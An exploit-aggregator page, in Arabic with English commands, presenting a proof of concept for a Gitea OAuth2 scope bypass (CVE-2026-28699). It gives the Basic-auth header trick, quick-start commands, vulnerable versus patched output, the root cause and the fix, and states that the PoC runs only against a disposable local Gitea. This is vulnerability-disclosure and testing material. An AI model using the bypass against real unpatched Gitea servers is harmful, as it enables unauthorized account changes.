## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ALARDIIANS-GITEA-CVE-2026-28699
# CVE-2026-28699: تجاوز نطاق OAuth2 في Gitea عبر المصادقة الأساسية HTTP
يمكن لرمز وصول OAuth2 في Gitea مقتصر على `read:user` فقط تنفيذ إجراءات كتابة كاملة عند إرساله كـ `Authorization: Basic base64(<token>:x-oauth-basic)` بدلاً من كرمز Bearer. يتم تخطي فحص النطاق لأي رمز يتم تقديمه عبر المصادقة الأساسية.
المتأثر: `<= 1.26.1`. تم الإصلاح في `1.26.2`. التنبيه: GHSA-9r5x-wg6m-x2rc. CWE-863. الخطورة عالية.
التقرير الكامل: WRITEUP.md
## بداية سريعة
root@kitploit:~
pip install -r requirements.txt # requests
python fetch_binaries.py # pulls vulnerable 1.26.1 + patched 1.26.2 for your OS
python poc.py 1.26.1 # vulnerable: Basic-auth write succeeds (scope bypassed)
python poc.py 1.26.2 # patched: Basic-auth write blocked (403)
يقوم `poc.py` بإعداد Gitea مؤقتة على SQLite في دليل temp للنظام، ويقوم بتشغيل تدفق رمز التفويض OAuth2 لإنشاء رمز مقتصر على `read:user` فقط، ثم يستدعي نقطة نهاية كتابة عبر كل من Bearer و Basic ويطبع النتيجة. قم بتعيين `POC_DEBUG=1` لرؤية خطوات تدفق المصادقة.
### المخرجات المتوقعة
الإصدار الضعيف `1.26.1`:
root@kitploit:~
[Bearer] PATCH /api/v1/user/settings -> HTTP 403 (blocked)
[Basic ] PATCH /api/v1/user/settings -> HTTP 200 (ALLOWED -- scope BYPASSED)
>>> VULNERABLE: read:user token performed a write via Basic auth.
الإصدار المُصحَّح `1.26.2`:
root@kitploit:~
[Bearer] PATCH /api/v1/user/settings -> HTTP 403 (blocked)
[Basic ] PATCH /api/v1/user/settings -> HTTP 403 (blocked)
>>> PATCHED: scope enforced on both Bearer and Basic.
## السبب الجذري في جدول واحد
يقوم `services/auth/basic.go` بتعيين `IsApiToken` ولكن ليس `ApiTokenScope` لرموز OAuth2. يعود middleware `tokenRequiresScopes` مبكرًا عندما يكون النطاق غائبًا، لذا لا يتم فحص أي شيء. يضيف إصلاح 1.26.2 الإعداد المفقود `store.GetData()["ApiTokenScope"] = accessTokenScope`.
## الملفات
## للاستخدام المصرح به فقط
لأغراض التعليم والاختبار الأمني المصرح به: مختبرك الخاص، صناديق CTF و HTB، أهداف مكافآت الأخطاء داخل النطاق. يقوم PoC بتشغيل Gitea الخاصة به القابلة للتخلص، لذا لا توجهه إلى أي شيء لا تملكه.